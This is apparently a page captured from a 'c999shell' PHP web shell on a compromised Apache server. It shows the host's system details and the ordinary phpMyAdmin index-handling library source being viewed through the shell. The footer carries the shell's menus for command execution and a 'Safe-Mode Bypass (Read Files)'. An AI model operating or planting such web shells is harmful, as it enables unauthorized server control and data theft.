Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/phpMyAdmin/libraries/ drwxr-xr-x |
Viewing file: Select action/file-type: <?php /* $Id: tbl_indexes.lib.php,v 2.5 2006/01/17 17:02:31 cybot_tm Exp $ */ // vim: expandtab sw=4 ts=4 sts=4: /** * function library for handling table indexes */ /** * Return a list of all index types * * @access public * @return array Index types * @author Garvin Hicking (pma@supergarv.de) */ function PMA_get_indextypes() { return array( 'PRIMARY', 'INDEX', 'UNIQUE', 'FULLTEXT' ); } /** * Function to get all index information from a certain table * * @param string Table name * @param string Error URL * * @access public * @return array Index keys */ function PMA_get_indexes($tbl_name, $err_url_0 = '') { $tbl_local_query = 'SHOW KEYS FROM ' . PMA_backquote($tbl_name); $tbl_result = PMA_DBI_query($tbl_local_query) or PMA_mysqlDie('', $tbl_local_query, '', $err_url_0); $tbl_ret_keys = array(); while ($tbl_row = PMA_DBI_fetch_assoc($tbl_result)) { $tbl_ret_keys[] = $tbl_row; } PMA_DBI_free_result($tbl_result); return $tbl_ret_keys; } /** * Function to check over array of indexes and look for common problems * * @param array Array of indexes * @param boolean Whether to output HTML in table layout * * @access public * @return string Output HTML * @author Garvin Hicking (pma@supergarv.de) */ function PMA_check_indexes($idx_collection, $table = true) { $index_types = PMA_get_indextypes(); $output = ''; if ( ! is_array($idx_collection) || empty($idx_collection['ALL'])) { return $output; } foreach ($idx_collection['ALL'] AS $w_keyname => $w_count) { if (isset($idx_collection['PRIMARY'][$w_keyname]) && (isset($idx_collection['INDEX'][$w_keyname]) || isset($idx_collection['UNIQUE'][$w_keyname]))) { $output .= PMA_index_warning(sprintf($GLOBALS['strIndexWarningPrimary'], htmlspecialchars($w_keyname)), $table); } elseif (isset($idx_collection['UNIQUE'][$w_keyname]) && isset($idx_collection['INDEX'][$w_keyname])) { $output .= PMA_index_warning(sprintf($GLOBALS['strIndexWarningUnique'], htmlspecialchars($w_keyname)), $table); } foreach ($index_types AS $index_type) { if (isset($idx_collection[$index_type][$w_keyname]) && $idx_collection[$index_type][$w_keyname] > 1) { $output .= PMA_index_warning(sprintf($GLOBALS['strIndexWarningMultiple'], $index_type, htmlspecialchars($w_keyname)), $table); } } } return $output; } /** * Loop array of returned index keys and extract key information to * seperate arrays. Those arrays are passed by reference. * * @param array Referenced Array of indexes * @param array Referenced return array * @param array Referenced return array * @param array Referenced return array * * @access public * @return boolean void * @author Garvin Hicking (pma@supergarv.de) */ function PMA_extract_indexes(&$ret_keys, &$indexes, &$indexes_info, &$indexes_data) { if (!is_array($ret_keys)) { return false; } $prev_index = ''; foreach ($ret_keys as $row) { if ($row['Key_name'] != $prev_index ){ $indexes[] = $row['Key_name']; $prev_index = $row['Key_name']; } $indexes_info[$row['Key_name']]['Sequences'][] = $row['Seq_in_index']; $indexes_info[$row['Key_name']]['Non_unique'] = $row['Non_unique']; if (isset($row['Cardinality'])) { $indexes_info[$row['Key_name']]['Cardinality'] = $row['Cardinality']; } // I don't know what does following column mean.... // $indexes_info[$row['Key_name']]['Packed'] = $row['Packed']; $indexes_info[$row['Key_name']]['Comment'] = (isset($row['Comment'])) ? $row['Comment'] : ''; $indexes_info[$row['Key_name']]['Index_type'] = (isset($row['Index_type'])) ? $row['Index_type'] : ''; $indexes_data[$row['Key_name']][$row['Seq_in_index']]['Column_name'] = $row['Column_name']; if (isset($row['Sub_part'])) { $indexes_data[$row['Key_name']][$row['Seq_in_index']]['Sub_part'] = $row['Sub_part']; } } // end while return true; } /** * Show index data and prepare returned collection array for index * key checks. * * @param string $table The tablename * @param array $indexes Referenced Array of indexes * @param array $indexes_info Referenced info array * @param array $indexes_data Referenced data array * @param boolean $display_html Output HTML code, or just return collection array? * @param boolean $print_mode * @access public * @return array Index collection array * @author Garvin Hicking (pma@supergarv.de) */ function PMA_show_indexes($table, &$indexes, &$indexes_info, &$indexes_data, $display_html = true, $print_mode = false) { $idx_collection = array(); $odd_row = true; foreach ($indexes as $index_name) { if ($display_html) { $row_span = ' rowspan="' . count($indexes_info[$index_name]['Sequences']) . '" '; echo ' <tr class="' . ( $odd_row ? 'odd' : 'even' ) . '">' . "\n"; echo ' <th ' . $row_span . '>' . "\n" . ' ' . htmlspecialchars($index_name) . "\n" . ' </th>' . "\n"; } if ((PMA_MYSQL_INT_VERSION < 40002 && $indexes_info[$index_name]['Comment'] == 'FULLTEXT') || (PMA_MYSQL_INT_VERSION >= 40002 && $indexes_info[$index_name]['Index_type'] == 'FULLTEXT')) { $index_type = 'FULLTEXT'; } elseif ($index_name == 'PRIMARY') { $index_type = 'PRIMARY'; } elseif ($indexes_info[$index_name]['Non_unique'] == '0') { $index_type = 'UNIQUE'; } else { $index_type = 'INDEX'; } if ($display_html) { echo ' <td ' . $row_span . '>' . "\n" . ' ' . $index_type . '</td>' . "\n"; echo ' <td ' . $row_span . ' align="right">' . "\n" . ' ' . (isset($indexes_info[$index_name]['Cardinality']) ? $indexes_info[$index_name]['Cardinality'] : $GLOBALS['strNone']) . ' ' . "\n" . ' </td>' . "\n"; if (!$print_mode) { echo ' <td ' . $row_span . '>' . "\n" . ' <a href="tbl_indexes.php?' . $GLOBALS['url_query'] . '&index=' . urlencode($index_name) . '">' . $GLOBALS['edit_link_text'] . '</a>' . "\n" . ' </td>' . "\n"; if ($index_name == 'PRIMARY') { $local_query = urlencode('ALTER TABLE ' . PMA_backquote($table) . ' DROP PRIMARY KEY'); $js_msg = 'ALTER TABLE ' . PMA_jsFormat($table) . ' DROP PRIMARY KEY'; $zero_rows = urlencode($GLOBALS['strPrimaryKeyHasBeenDropped']); } else { $local_query = urlencode('ALTER TABLE ' . PMA_backquote($table) . ' DROP INDEX ' . PMA_backquote($index_name)); $js_msg = 'ALTER TABLE ' . PMA_jsFormat($table) . ' DROP INDEX ' . PMA_jsFormat($index_name); $zero_rows = urlencode(sprintf($GLOBALS['strIndexHasBeenDropped'], htmlspecialchars($index_name))); } echo ' <td ' . $row_span . '>' . "\n" . ' <a href="sql.php?' . $GLOBALS['url_query'] . '&sql_query=' . $local_query . '&zero_rows=' . $zero_rows . '" onclick="return confirmLink(this, \'' . $js_msg . '\')">' . $GLOBALS['drop_link_text'] . '</a>' . "\n" . ' </td>' . "\n"; } } foreach ($indexes_info[$index_name]['Sequences'] AS $row_no => $seq_index) { $col_name = $indexes_data[$index_name][$seq_index]['Column_name']; if ($row_no == 0) { if (isset($idx_collection[$index_type][$col_name])) { $idx_collection[$index_type][$col_name]++; } else { $idx_collection[$index_type][$col_name] = 1; } if (isset($idx_collection['ALL'][$col_name])) { $idx_collection['ALL'][$col_name]++; } else { $idx_collection['ALL'][$col_name] = 1; } } if ($display_html) { if ($row_no > 0) { echo ' <tr class="' . ( $odd_row ? 'odd' : 'even' ) . '">' . "\n"; } if ( isset($indexes_data[$index_name][$seq_index]['Sub_part']) && strlen($indexes_data[$index_name][$seq_index]['Sub_part']) ) { echo ' <td>' . $col_name . '</td>' . "\n"; echo ' <td align="right">' . "\n" . ' ' . $indexes_data[$index_name][$seq_index]['Sub_part'] . "\n" . ' </td>' . "\n"; echo ' </tr>' . "\n"; } else { echo ' <td colspan="2">' . "\n" . ' ' . htmlspecialchars($col_name) . "\n" . ' </td>' . "\n"; echo ' </tr>' . "\n"; } } } // end foreach $indexes_info[$index_name]['Sequences'] $odd_row = ! $odd_row; } // end while return $idx_collection; } /** * Function to emit a index warning * * @author Garvin Hicking (pma@supergarv.de) * @access public * @param string $string Message string * @param boolean $table Whether to output HTML in table layout * @return string Output HTML */ function PMA_index_warning($string, $table = true) { $output = '<div class="warning">' . $string . '</div>'; if ( $table ) { $output = '<tr><td colspan=7">' . $output . '</td></tr>'; } return $output . "\n"; } ?> |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0055 ]-- |